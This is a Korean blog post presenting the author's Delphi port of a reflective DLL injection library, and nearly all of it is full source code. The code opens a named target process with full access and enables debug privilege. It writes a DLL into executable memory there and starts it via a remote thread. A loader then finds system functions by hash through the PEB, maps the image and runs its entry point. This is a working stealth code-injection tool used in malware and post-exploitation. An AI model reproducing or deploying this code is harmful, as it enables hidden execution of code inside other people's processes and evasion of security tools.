Delphi 예제 자료
델파이(delphi) Refletive Dll Injection + Loader
kimsyo11
2021. 12. 13. 00:34
728x90
아래 C++언어를 본인이 직접 델파이 파스칼로 해둔것이니 참고하셔서 공부 하시길 바랍니다
https://github.com/stephenfewer/ReflectiveDLLInjection
GitHub - stephenfewer/ReflectiveDLLInjection: Reflective DLL injection is a library injection technique in which the concept of
Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. - GitHub - ...
github.com
제작 개발환경 프로그램 : Rad Studio 11
코딩 기간 : 노가다 코딩 작업 1~2주 소요.




{
kimsyo5140 Injection
kimsyo5140@naver.com
}
unit KMSInjection;
interface
uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Controls, Tlhelp32,
ImageHlp, Vcl.Dialogs;
procedure RefletiveInjection(processName : string; DLLName : string; FuncName : string);
implementation
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
{Library Code here}
function GetProcessIdByName(const ProcName: String): DWORD;
var
Process32: TProcessEntry32;
SHandle: THandle;
Next: BOOL;
begin
Result:=0;
Process32.dwSize := SizeOf(TProcessEntry32);
SHandle := CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if Process32First(SHandle, Process32) then begin
repeat
Next := Process32Next(SHandle, Process32);
if AnsiCompareText(Process32.szExeFile, Trim(ProcName))=0 then begin
Result:=Process32.th32ProcessID;
break;
end;
until not Next;
end;
CloseHandle(SHandle);
end;
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
{Refletive INjection Code here}
function Rva2Offset(dwRva : DWORD; uiBaseAddress : UINT_PTR) : DWORD;
begin
var pSectionHeader : PIMAGESECTIONHEADER := nil;
var pNtHeaders : PIMAGENTHEADERS := nil;
pNtHeaders := PIMAGENTHEADERS(uiBaseAddress + PImageDosHeader(uiBaseAddress)._lfanew);
pSectionHeader := PIMAGESECTIONHEADER(UINT_PTR(@pNtHeaders.OptionalHeader) + pNtHeaders.FileHeader.SizeOfOptionalHeader);
if (dwRva < pSectionHeader.PointerToRawData) then
begin
Result := dwRva;
Exit;
end;
for var wIndex : WORD := 0 to pNtHeaders.FileHeader.NumberOfSections do
begin
if (dwRva >= pSectionHeader.VirtualAddress) and (dwRva < (pSectionHeader.VirtualAddress + pSectionHeader.SizeOfRawData)) then
begin
Result := (dwRva - pSectionHeader.VirtualAddress + pSectionHeader.PointerToRawData);
Exit;
end;
inc(pSectionHeader);
end;
Result := 0;
end;
function GetReflectiveLoaderOffset(lpReflectiveDllBuffer : Pointer; FuncName : string) : DWORD;
var pImageDosHeader1 : PIMAGEDOSHEADER;
pImageNtHeader1 : PIMAGENTHEADERS;
pImageExportDirectory1 : PIMAGEEXPORTDIRECTORY;
dirsize: Cardinal;
NamesPtr, FunctionsNames: PCardinal;
NamePtr: PAnsiChar;
uiAddressArray, uiNameOrdinals : UINT_PTR;
begin
pImageDosHeader1 := PIMAGEDOSHEADER(lpReflectiveDllBuffer);
pImageNtHeader1 := PIMAGENTHEADERS(DWORD(lpReflectiveDllBuffer)+pImageDosHeader1._lfanew);
pImageExportDirectory1 := ImageDirectoryEntryToData(lpReflectiveDllBuffer, False, IMAGE_DIRECTORY_ENTRY_EXPORT, dirsize);
if (pImageExportDirectory1 <> nil) then
begin
NamesPtr := ImageRvaToVa(pImageNtHeader1, lpReflectiveDllBuffer, Cardinal(pImageExportDirectory1.AddressOfNames), nil);
FunctionsNames := ImageRvaToVa(pImageNtHeader1, lpReflectiveDllBuffer, Cardinal(pImageExportDirectory1.AddressOfFunctions), nil);
uiNameOrdinals := UINT_PTR(lpReflectiveDllBuffer) + Rva2Offset(pImageExportDirectory1.AddressOfNameOrdinals, UINT_PTR(lpReflectiveDllBuffer));
for var i : integer := 0 to pImageExportDirectory1^.NumberOfNames - 1 do
begin
NamePtr := ImageRvaToVa(pImageNtHeader1, lpReflectiveDllBuffer, NamesPtr^, nil);
if not Assigned(NamePtr) then
Exit;
if AnsiPos(FuncName,NamePtr) <> 0 then
begin
uiAddressArray := UINT_PTR(lpReflectiveDllBuffer) + Rva2Offset(pImageExportDirectory1.AddressOfFunctions, UINT_PTR(lpReflectiveDllBuffer));
uiAddressArray := uiAddressArray + PWORD(uiNameOrdinals)^ * SizeOf(DWORD);
Result := Rva2Offset(PDWORD(uiAddressArray)^, UINT_PTR(lpReflectiveDllBuffer));
Exit;
end;
inc(NamesPtr);
inc(uiNameOrdinals,Sizeof(WORD));
end;
ShowMessage('Function 함수가 발견되지 않았습니다');
end;
end;
procedure LoadRemoteLibraryR(Hprocess : THandle; lpBuffer : Pointer; dwLength : DWORD; lpParameter : Pointer; FuncName : string);
begin
var dwReflectiveLoaderOffset : DWORD := 0;
var dwThreadId : DWORD := 0;
var lpRemoteLibraryBuffer : Pointer := nil;
var lpReflectiveLoader : Pointer;
var Thread : THandle;
dwReflectiveLoaderOffset := GetReflectiveLoaderOffset(lpBuffer,FuncName);
lpRemoteLibraryBuffer := VirtualAllocEx(Hprocess, nil, dwLength, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Hprocess, lpRemoteLibraryBuffer,lpBuffer, dwLength,PNativeUInt(nil)^);
lpReflectiveLoader := POINTER(DWORD(lpRemoteLibraryBuffer) + dwReflectiveLoaderOffset);
Thread := CreateRemoteThread(Hprocess, nil, 1024*1024, lpReflectiveLoader, lpParameter, DWORD(nil), &dwThreadId);
WaitForSingleObject(Thread, 1);
end;
function StringToPAnsiChar(AString: string): PAnsiChar;
begin
Result := PAnsiChar(RawByteString(AString));
end;
procedure RefletiveInjection(processName : string; DLLName : string; FuncName : string);
var hToken, hProcess : THandle;
priv : TTokenPrivileges;
begin
hProcess := OpenProcess(PROCESS_ALL_ACCESS, false, GetProcessIdByName(processName));
if hProcess = 0 then
begin
ShowMessage('프로세스가 안잡혔습니다.');
Exit;
end;
var HFile := CreateFileA(StringToPAnsiChar(DLLName),GENERIC_READ, FILE_SHARE_WRITE or FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,0);
var dwLength := GetFileSize(HFile,nil);
var lpBuffer := HeapAlloc(GetProcessHeap,0, dwLength);
if ReadFile(hFile, lpBuffer^, dwLength, PCardinal(nil)^, nil) = false then
begin
ShowMessage('Failed to alloc a buffer!');
Exit;
end;
if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then
begin
priv.PrivilegeCount := 1;
priv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
if LookupPrivilegeValue(nil, SE_DEBUG_NAME, &priv.Privileges[0].Luid) then
AdjustTokenPrivileges(hToken, False, priv, 0, nil, PDWORD(nil)^);
CloseHandle(hToken);
end;
LoadRemoteLibraryR(hProcess, lpBuffer, dwLength, nil, FuncName);
CloseHandle(HFile);
HeapFree(GetProcessHeap(), 0, lpBuffer);
end;
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
{kimsyo DLL Refletive Here}
type LOADLIBRARYA = function(lpLibFileName: LPCSTR): HMODULE; stdcall;
GETPROCADDRESS = function(hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall;
VIRTUALALLOC = function(lpvAddress: Pointer; dwSize: SIZE_T; flAllocationType, flProtect: DWORD): Pointer; stdcall;
NTFLUSHINSTRUCTIONCACHE = function(ProcessHandle: THandle; BaseAddress: Pointer; FlushSize: Longword): Longint; stdcall;
TDllEntryProc = function(hinstDLL: HINST; fdwReason: DWORD; lpReserved: Pointer): BOOL; stdcall;
Const
GDI_HANDLE_BUFFER_SIZE32 = 34;
GDI_HANDLE_BUFFER_SIZE64 = 60;
FLS_MAXIMUM_AVAILABLE = 128;
FLS_MAXIMUM = FLS_MAXIMUM_AVAILABLE Div (SizeOf(ULONG) * 8);
Type
UNICODE_STRING = Record
Length :USHORT;
MaximumLength :USHORT;
Buffer :PWideChar;
End;
PUNICODE_STRING = ^UNICODE_STRING;
ANSI_STRING = Record
Length :USHORT;
MaximumLength :USHORT;
Buffer :PAnsiChar;
End;
_CURDIR = Record
DosPath :UNICODE_STRING;
Handle :THandle;
End;
CURDIR = _CURDIR;
PCURDIR = ^_CURDIR;
_RTL_DRIVE_LETTER_CURDIR = Record
Flags :USHORT;
Length :USHORT;
TimeStamp :ULONG;
DosPath :ANSI_STRING;
End;
RTL_DRIVE_LETTER_CURDIR = _RTL_DRIVE_LETTER_CURDIR;
PRTL_DRIVE_LETTER_CURDIR = ^_RTL_DRIVE_LETTER_CURDIR;
_PEB_LDR_DATA = Record
Length :ULONG;
Initialized :Boolean;
SsHandle :THandle;
InLoadOrderModuleList :TListEntry;
InMemoryOrderModuleList :TListEntry;
InInitializationOrderModuleList :TListEntry;
EntryInProgress :Pointer;
ShutdownInProgress :Boolean;
ShutdownThreadId :THandle;
End;
TPEB_LDR_DATA = _PEB_LDR_DATA;
PEB_LDR_DATA = _PEB_LDR_DATA;
PPEB_LDR_DATA = ^_PEB_LDR_DATA;
_RTL_USER_PROCESS_PARAMETERS = Record
MaximumLength :ULONG;
Length :ULONG;
Flags :ULONG;
DebugFlags :ULONG;
ConsoleHandle :THandle;
ConsoleFlags :ULONG;
StandardInput :THandle;
StandardOutput :THandle;
StandardError :THandle;
CurrentDirectory :CURDIR;
DllPath :UNICODE_STRING;
ImagePathName :UNICODE_STRING;
CommandLine :UNICODE_STRING;
Environment :Pointer;
StartingX :ULONG;
StartingY :ULONG;
CountX :ULONG;
CountY :ULONG;
CountCharsX :ULONG;
CountCharsY :ULONG;
FillAttribute :ULONG;
WindowFlags :ULONG;
ShowWindowFlags :ULONG;
WindowTitle :UNICODE_STRING;
DesktopInfo :UNICODE_STRING;
ShellInfo :UNICODE_STRING;
RuntimeData :UNICODE_STRING;
CurrentDirectories :Array [0..31] Of RTL_DRIVE_LETTER_CURDIR;
EnvironmentSize :ULONG;
EnvironmentVersion :ULONG;
End;
RTL_USER_PROCESS_PARAMETERS = _RTL_USER_PROCESS_PARAMETERS;
TRTL_USER_PROCESS_PARAMETERS = _RTL_USER_PROCESS_PARAMETERS;
PRTL_USER_PROCESS_PARAMETERS = ^_RTL_USER_PROCESS_PARAMETERS;
PPS_POST_PROCESS_INIT_ROUTINE = Pointer;
PRTL_CRITICAL_SECTION = PRTLCriticalSection;
GDI_HANDLE_BUFFER32 = Array [0..GDI_HANDLE_BUFFER_SIZE32-1] Of ULONG;
GDI_HANDLE_BUFFER64 = Array [0..GDI_HANDLE_BUFFER_SIZE64-1] Of ULONG;
{$IFDEF WIN64}
GDI_HANDLE_BUFFER = GDI_HANDLE_BUFFER64;
{$ELSE}
GDI_HANDLE_BUFFER = GDI_HANDLE_BUFFER32;
{$ENDIF}
_PEB = Record
InheritedAddressSpace :Boolean;
ReadImageFileExecOptions :Boolean;
BeingDebugged :Boolean;
BitField :Boolean;
Mutant :THandle;
ImageBaseAddress :Pointer;
Ldr :PPEB_LDR_DATA;
ProcessParameters :PRTL_USER_PROCESS_PARAMETERS;
SubSystemData :Pointer;
ProcessHeap :Pointer;
FastPebLock :PRTL_CRITICAL_SECTION;
AtlThunkSListPtr :Pointer;
IFEOKey :Pointer;
CrossProcessFlags :ULONG;
EnvironmentUpdateCount :ULONG;
KernelCallbackTable :Pointer;
SystemReserved :Array [0..0] Of ULONG;
AtlThunkSListPtr32 :ULONG;
ApiSetMap :Pointer;
TlsExpansionCounter :ULONG;
TlsBitmap :Pointer;
TlsBitmapBits :Array [0..1] Of ULONG;
ReadOnlySharedMemoryBase :Pointer;
HotpatchInformation :Pointer;
ReadOnlyStaticServerData :PPointer;
AnsiCodePageData :Pointer;
OemCodePageData :Pointer;
UnicodeCaseTableData :Pointer;
NumberOfProcessors :ULONG;
NtGlobalFlag :ULONG;
CriticalSectionTimeout :LARGE_INTEGER;
HeapSegmentReserve :SIZE_T;
HeapSegmentCommit :SIZE_T;
HeapDeCommitTotalFreeThreshold :SIZE_T;
HeapDeCommitFreeBlockThreshold :SIZE_T;
NumberOfHeaps :ULONG;
MaximumNumberOfHeaps :ULONG;
ProcessHeaps :PPointer;
GdiSharedHandleTable :Pointer;
ProcessStarterHelper :Pointer;
GdiDCAttributeList :ULONG;
LoaderLock :PRTL_CRITICAL_SECTION;
OSMajorVersion :ULONG;
OSMinorVersion :ULONG;
OSBuildNumber :USHORT;
OSCSDVersion :USHORT;
OSPlatformId :ULONG;
ImageSubsystem :ULONG;
ImageSubsystemMajorVersion :ULONG;
ImageSubsystemMinorVersion :ULONG;
ImageProcessAffinityMask :ULONG_PTR;
GdiHandleBuffer :GDI_HANDLE_BUFFER;
PostProcessInitRoutine :Pointer;
TlsExpansionBitmap :Pointer;
TlsExpansionBitmapBits :Array [0..31] Of ULONG;
SessionId :ULONG;
AppCompatFlags :ULARGE_INTEGER;
AppCompatFlagsUser :ULARGE_INTEGER;
pShimData :Pointer;
AppCompatInfo :Pointer;
CSDVersion :UNICODE_STRING;
ActivationContextData :Pointer;
ProcessAssemblyStorageMap :Pointer;
SystemDefaultActivationContextData :Pointer;
SystemAssemblyStorageMap :Pointer;
MinimumStackCommit :SIZE_T;
FlsCallback :PPointer;
FlsListHead :TListEntry;
FlsBitmap :Pointer;
FlsBitmapBits :Array [0..FLS_MAXIMUM-1] Of ULONG;
FlsHighIndex :ULONG;
WerRegistrationData :Pointer;
WerShipAssertPtr :Pointer;
pContextData :Pointer;
pImageHeaderHash :Pointer;
TracingFlags :ULONG;
SpareTracingBits :ULONG;
End;
TPEB = _PEB;
PPEB = ^_PEB;
_LDR_DATA_TABLE_ENTRY_COMPATIBLE = Record
InMemoryOrderModuleList : LIST_ENTRY;
InInitializationOrderModuleList : LIST_ENTRY;
DllBase : PVOID;
EntryPoint : PVOID;
SizeOfImage : ULONG;
FullDllName : UNICODE_STRING;
BaseDllName : UNICODE_STRING;
Flags : ULONG;
LoadCount : SHORT;
TlsIndex : SHORT;
HashTableEntry : LIST_ENTRY;
TimeDateStamp : ULONG;
End;
LDR_DATA_TABLE_ENTRY_COMPATIBLE = _LDR_DATA_TABLE_ENTRY_COMPATIBLE;
LDR_DATA_TABLE_ENTRY = _LDR_DATA_TABLE_ENTRY_COMPATIBLE;
PLDR_DATA_TABLE_ENTRY = ^_LDR_DATA_TABLE_ENTRY_COMPATIBLE;
LdrModule = _LDR_DATA_TABLE_ENTRY_COMPATIBLE;
PLdrModule = ^LdrModule;
IMAGE_BASE_RELOCATION = record
VirtualAddress : DWORD;
SizeOfBlock : DWORD;
end;
PIMAGE_BASE_RELOCATION = ^IMAGE_BASE_RELOCATION;
IMAGE_RELOC = record
case BYTE of
12: (offset : WORD);
4: (type1 : WORD);
end;
PIMAGE_RELOC = ^IMAGE_RELOC;
TBaseRelocationEntry = packed record
raw: uint16;
function GetOffset: uint16;
function GetType: byte;
end;
const HASH_KEY = 13;
KERNEL32DLL_HASH = $6A4ABC5B;
NTDLLDLL_HASH = $3CFA685D;
LOADLIBRARYA_HASH = $EC0E4E8E;
GETPROCADDRESS_HASH = $7C0DFCAA;
VIRTUALALLOC_HASH = $91AFCA54;
NTFLUSHINSTRUCTIONCACHE_HASH = $534C0AB8;
IMAGE_REL_BASED_HIGH = 1;
IMAGE_REL_BASED_LOW = 2;
IMAGE_REL_BASED_HIGHLOW = 3;
IMAGE_REL_BASED_DIR64 = 10;
function TBaseRelocationEntry.GetOffset: uint16;
begin
result := raw and $0FFF;
end;
function TBaseRelocationEntry.GetType: byte;
begin
result := raw shr 12;
end;
function IMAGE_SNAP_BY_ORDINAL(Ordinal: NativeUInt): Boolean; inline;
begin
Result := ((Ordinal and IMAGE_ORDINAL_FLAG) <> 0);
end;
function IMAGE_ORDINAL(Ordinal: NativeUInt): Word; inline;
begin
Result := Ordinal and $FFFF;
end;
function IMAGE_ORDINAL1(Ordinal: DWORD): DWORD;
begin
Result := (Ordinal and $ffff);
end;
function Hash(Str : PAnsiChar) :DWORD;
begin
Result := 0;
for var I : integer := 0 to Length(Str)-1 do
begin
Result := (Result shr 13) or (Result shl (32 - 13));
Result := Result + PBYTE(Str)^;
inc(Str,SizeOf(BYTE));
end;
end;
function caller : ULONG_PTR;
begin
Result := ULONG_PTR(System.ReturnAddress);
end;
{ MOV EAX,FS:[$30]; //PEB
MOV uiLibraryAddress,EAX; }
{ asm
mov eax,fs:[$18]; //TIB
mov ebx,[eax + $30] //PEB
mov ecx, [ebx + $0C]
mov ecx, [ecx + $1C]
mov ecx, [ecx]
mov ecx, [ecx] //여기가 세컨드 2번째의 Kernel32.dll base
mov eax, [ecx + $08]
mov Kernel32Base, eax;
end; }
function kimsyoRefletive(lpParameter : Pointer) : ULONG_PTR;
var pLoadLibraryA : LOADLIBRARYA;
pGetProcAddress : GETPROCADDRESS;
pVirtualAlloc : VIRTUALALLOC;
pNtFlushInstructionCache : NTFLUSHINSTRUCTIONCACHE;
usCounter : USHORT;
uiLibraryAddress : ULONG_PTR;
uiBaseAddress : ULONG_PTR;
uiAddressArray : ULONG_PTR;
uiNameArray : ULONG_PTR;
uiExportDir : ULONG_PTR;
uiNameOrdinals : ULONG_PTR;
dwHashValue : DWORD;
uiHeaderValue : ULONG_PTR;
uiValueA : ULONG_PTR;
uiValueB : ULONG_PTR;
uiValueC : ULONG_PTR;
uiValueD : ULONG_PTR;
uiValueE : ULONG_PTR;
OrdinalAnd : ULONG_PTR;
FunctionBool : Integer;
DllEntry : TDllEntryProc;
relType, offset: Integer;
relInfo: ^UInt16;
{$IFDEF CPUX64}
patchAddr64: PULONGLONG;
{$ENDIF}
begin
uiLibraryAddress := caller;
FunctionBool := 0;
while True do
begin
if PIMAGEDOSHEADER(uiLibraryAddress).e_magic = IMAGE_DOS_SIGNATURE then
begin
uiHeaderValue := PIMAGEDOSHEADER(uiLibraryAddress)._lfanew;
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER)) and (uiHeaderValue < 1024) then
begin
uiHeaderValue := uiHeaderValue + uiLibraryAddress;
if PIMAGENTHEADERS(uiHeaderValue).Signature = IMAGE_NT_SIGNATURE then
break;
end;
end;
dec(uiLibraryAddress);
end;
asm
MOV EAX,FS:[$18]; // TIB
MOV EAX,[EAX + $30]; //PEB
MOV uiBaseAddress,EAX;
end;
uiBaseAddress := ULONG_PTR(PPEB(uiBaseAddress).Ldr);
uiValueA := ULONG_PTR(PPEB_LDR_DATA(uiBaseAddress).InMemoryOrderModuleList.Flink);
while true do
begin
uiValueB := ULONG_PTR(PLDR_DATA_TABLE_ENTRY(uiValueA).BaseDllName.Buffer);
usCounter := PLDR_DATA_TABLE_ENTRY(uiValueA).BaseDllName.Length;
uiValueC := 0;
for var I : integer := 0 to usCounter -1 do
begin
uiValueC := (uiValueC shr 13) or (uiValueC shl (32 - 13));
if PBYTE(uiValueB)^ >= $61 then
uiValueC := uiValueC + (PBYTE(uiValueB)^ - $20) //소문자를 대문자로 Convert
else
uiValueC := uiValueC + PBYTE(uiValueB)^; //대문자
inc(uiValueB,sizeof(BYTE));
end;
if DWORD(uiValueC) = KERNEL32DLL_HASH then //KERNEL32DLL_HASH = $6A4ABC5B 해쉬값
begin
uiBaseAddress := ULONG_PTR(PLDR_DATA_TABLE_ENTRY(uiValueA).DllBase);
uiExportDir := uiBaseAddress + PIMAGEDOSHEADER(uiBaseAddress)._lfanew;
uiNameArray := ULONG_PTR(@PIMAGENTHEADERS(uiExportDir).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
uiExportDir := uiBaseAddress + PIMAGEDATADIRECTORY(uiNameArray).VirtualAddress;
uiNameArray := uiBaseAddress + PIMAGEEXPORTDIRECTORY(uiExportDir).AddressOfNames;
uiNameOrdinals := uiBaseAddress + PIMAGEEXPORTDIRECTORY(uiExportDir).AddressOfNameOrdinals;
usCounter := 3;
while (usCounter > 0) do
begin
dwHashValue := hash(PAnsiChar(uiBaseAddress + PDWORD(uiNameArray)^));
if (dwHashValue = LOADLIBRARYA_HASH) or (dwHashValue = GETPROCADDRESS_HASH) or (dwHashValue = VIRTUALALLOC_HASH) then
begin
uiAddressArray := uiBaseAddress + PIMAGEEXPORTDIRECTORY(uiExportDir).AddressOfFunctions;
uiAddressArray := uiAddressArray + (PWORD(uiNameOrdinals)^ * sizeof(DWORD));
if dwHashValue = LOADLIBRARYA_HASH then
begin
pLoadLibraryA := LOADLIBRARYA(uiBaseAddress + PDWORD(uiAddressArray)^);
inc(FunctionBool);
end else if dwHashValue = GETPROCADDRESS_HASH then
begin
pGetProcAddress := GETPROCADDRESS(uiBaseAddress + PDWORD(uiAddressArray)^);
inc(FunctionBool);
end else if dwHashValue = VIRTUALALLOC_HASH then
begin
pVirtualAlloc := VIRTUALALLOC(uiBaseAddress + PDWORD(uiAddressArray)^);
inc(FunctionBool);
end;
Dec(usCounter);
end;
uiNameArray := uiNameArray + sizeof(DWORD);
inc(uiNameOrdinals,Sizeof(WORD));
end;
end else if DWORD(uiValueC) = NTDLLDLL_HASH then
begin
uiBaseAddress := ULONG_PTR(PLDR_DATA_TABLE_ENTRY(uiValueA).DllBase);
uiExportDir := uiBaseAddress + PIMAGEDOSHEADER(uiBaseAddress)._lfanew;
uiNameArray := ULONG_PTR(@PIMAGENTHEADERS(uiExportDir).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
uiExportDir := uiBaseAddress + PIMAGEDATADIRECTORY(uiNameArray).VirtualAddress;
uiNameArray := uiBaseAddress + PIMAGEEXPORTDIRECTORY(uiExportDir).AddressOfNames;
uiNameOrdinals := uiBaseAddress + PIMAGEEXPORTDIRECTORY(uiExportDir).AddressOfNameOrdinals;
usCounter := 1;
while (usCounter > 0) do
begin
dwHashValue := hash(PAnsiChar(uiBaseAddress + PDWORD(uiNameArray)^));
if dwHashValue = NTFLUSHINSTRUCTIONCACHE_HASH then
begin
uiAddressArray := uiBaseAddress + PIMAGEEXPORTDIRECTORY(uiExportDir).AddressOfFunctions;
uiAddressArray := uiAddressArray + PWORD(uiNameOrdinals)^ * sizeof(DWORD);
if dwHashValue = NTFLUSHINSTRUCTIONCACHE_HASH then
begin
pNtFlushInstructionCache := NTFLUSHINSTRUCTIONCACHE(uiBaseAddress + PDWORD(uiAddressArray)^);
inc(FunctionBool);
end;
Dec(usCounter);
end;
uiNameArray := uiNameArray + sizeof(DWORD);
inc(uiNameOrdinals,sizeof(WORD));
end;
end;
if FunctionBool = 4 then
break;
uiValueA := PNativeUInt(uiValueA)^;
end;
// STEP 2: load our image into a new permanent location in memory...
uiHeaderValue := uiLibraryAddress + PIMAGEDOSHEADER(uiLibraryAddress)._lfanew;
uiBaseAddress := ULONG_PTR(pVirtualAlloc(nil,PIMAGENTHEADERS(uiHeaderValue).OptionalHeader.SizeOfImage, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE));
// we must now copy over the headers
uiValueA := PIMAGENTHEADERS(uiHeaderValue).OptionalHeader.SizeOfHeaders;
uiValueB := uiLibraryAddress; // 메모리 빈공간에 DLL 데이터 입력
uiValueC := uiBaseAddress; // 메모리 빈공간 할당 주소
for var I : integer := 0 to uiValueA -1 do
begin
PBYTE(uiValueC)^ := PBYTE(uiValueB)^;
uiValueC := uiValueC + SizeOf(BYTE);
uiValueB := uiValueB + SizeOf(BYTE);
end;
// STEP 3: load in all of our sections...
uiValueA := ULONG_PTR(@PIMAGENTHEADERS(uiHeaderValue).OptionalHeader) + PIMAGENTHEADERS(uiHeaderValue).FileHeader.SizeOfOptionalHeader;
uiValueE := PIMAGENTHEADERS(uiHeaderValue).FileHeader.NumberOfSections;
for var I : integer := 0 to uiValueE -1 do
begin
uiValueB := uiBaseAddress + PIMAGESECTIONHEADER(uiValueA).VirtualAddress;
uiValueC := uiLibraryAddress + PIMAGESECTIONHEADER(uiValueA).PointerToRawData;
uiValueD := PIMAGESECTIONHEADER(uiValueA).SizeOfRawData;
for var I1 : integer := 0 to uiValueD-1 do
begin
PBYTE(uiValueB)^ := PBYTE(uiValueC)^;
uiValueB := uiValueB + SizeOf(BYTE);
uiValueC := uiValueC + SizeOf(BYTE);
end;
uiValueA := uiValueA + SizeOf(IMAGE_SECTION_HEADER); //IMAGE_SECTION_HEADER = 40
end;
// STEP 4: process our images import table...
uiValueB := ULONG_PTR(@PIMAGENTHEADERS(uiHeaderValue).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]);
uiValueC := uiBaseAddress + PIMAGEDATADIRECTORY(uiValueB).VirtualAddress;
while (PIMAGEIMPORTDESCRIPTOR(uiValueC).Name <> 0) do
begin
uiLibraryAddress := ULONG_PTR(pLoadLibraryA(PAnsiChar(uiBaseAddress + PIMAGEIMPORTDESCRIPTOR(uiValueC).Name)));
uiValueD := uiBaseAddress + PIMAGEIMPORTDESCRIPTOR(uiValueC).OriginalFirstThunk;
uiValueA := uiBaseAddress + PIMAGEIMPORTDESCRIPTOR(uiValueC).FirstThunk;
while (PUINT_PTR(uiValueA)^ <> 0) do
begin
OrdinalAnd := PIMAGETHUNKDATA(uiValueD).Ordinal and IMAGE_ORDINAL_FLAG;
if IMAGE_SNAP_BY_ORDINAL(PUINT_PTR(uiValueD)^) then
begin
uiExportDir := uiLibraryAddress + PIMAGEDOSHEADER(uiLibraryAddress)._lfanew;
uiNameArray := ULONG_PTR(@PIMAGENTHEADERS(uiExportDir).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
uiExportDir := uiLibraryAddress + PIMAGEDATADIRECTORY(uiNameArray).VirtualAddress;
uiAddressArray := uiLibraryAddress + PIMAGEEXPORTDIRECTORY(uiExportDir).AddressOfFunctions;
uiAddressArray := uiAddressArray + ((IMAGE_ORDINAL(PIMAGE_THUNK_DATA(uiValueD).Ordinal) - PIMAGEEXPORTDIRECTORY(uiExportDir).Base) * SizeOf(DWORD));
PUINT_PTR(uiValueA)^ := uiLibraryAddress + PDWORD(uiAddressArray)^;
end else begin
uiValueB := uiBaseAddress + PUINT_PTR(uiValueA)^;
PUINT_PTR(uiValueA)^ := ULONG_PTR(pGetProcAddress(HMODULE(uiLibraryAddress),PAnsiChar(@(PIMAGE_IMPORT_BY_NAME(uiValueB).Name))));
end;
uiValueA := uiValueA + SizeOf(ULONG_PTR);
if( uiValueD <> 0) then
uiValueD := uiValueD + SizeOf(ULONG_PTR);
end;
uiValueC := uiValueC + SizeOf(IMAGE_IMPORT_DESCRIPTOR);
end;
// STEP 5: process all of our images relocations...
uiLibraryAddress := uiBaseAddress - PIMAGENTHEADERS(uiHeaderValue).OptionalHeader.ImageBase;
uiValueB := ULONG_PTR(@PIMAGENTHEADERS(uiHeaderValue).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]);
if PIMAGEDATADIRECTORY(uiValueB).Size <> 0 then
begin
uiValueC := uiBaseAddress + PIMAGEDATADIRECTORY(uiValueB).VirtualAddress;
while PIMAGE_BASE_RELOCATION(uiValueC).SizeOfBlock <> 0 do
begin
uiValueA := uiBaseAddress + PIMAGE_BASE_RELOCATION(uiValueC).VirtualAddress;
uiValueB := (PIMAGE_BASE_RELOCATION(uiValueC).SizeOfBlock - SizeOf(IMAGE_BASE_RELOCATION)) div 2;
uiValueD := uiValueC + SizeOf(IMAGE_BASE_RELOCATION);
relInfo := Pointer(uiValueC + SizeOf(IMAGE_BASE_RELOCATION));
for var I : integer := 0 to uiValueB-1 do
begin
// the upper 4 bits define the type of relocation
relType := relInfo^ shr 12;
// the lower 12 bits define the offset
offset := relInfo^ and $FFF;
if relType = IMAGE_REL_BASED_DIR64 then
PULONG_PTR(uiValueA + offset)^ := PULONG_PTR(uiValueA + offset)^ + uiLibraryAddress
else if relType = IMAGE_REL_BASED_HIGHLOW then
PDWORD(uiValueA + offset)^ := PDWORD(uiValueA + offset)^ + DWORD(uiLibraryAddress)
else if relType = IMAGE_REL_BASED_HIGH then
PWORD(uiValueA + offset)^ := PWORD(uiValueA + offset)^ + HIWORD(uiLibraryAddress)
else if relType = IMAGE_REL_BASED_LOW then
PWORD(uiValueA + offset)^ := PWORD(uiValueA + offset)^ + LOWORD(uiLibraryAddress);
inc(relInfo);//uiValueD := uiValueD + 2;
end;
uiValueC := uiValueC + PIMAGE_BASE_RELOCATION(uiValueC).SizeOfBlock;
end;
end;
// STEP 6: call our images entry point
DllEntry := TDllEntryProc(uiBaseAddress + PIMAGENTHEADERS(uiHeaderValue).OptionalHeader.AddressOfEntryPoint);
pNtFlushInstructionCache(Thandle(-1), nil, 0 );
DllEntry(HINST(uiBaseAddress), DLL_PROCESS_ATTACH, nil);
//PDWORD($03EB0000)^ := uiBaseAddress;
{$IFDEF Win64}
{$ELSEIF Win32}
{$ENDIF}
end;
//exports kimsyoRefletive;
end.
728x90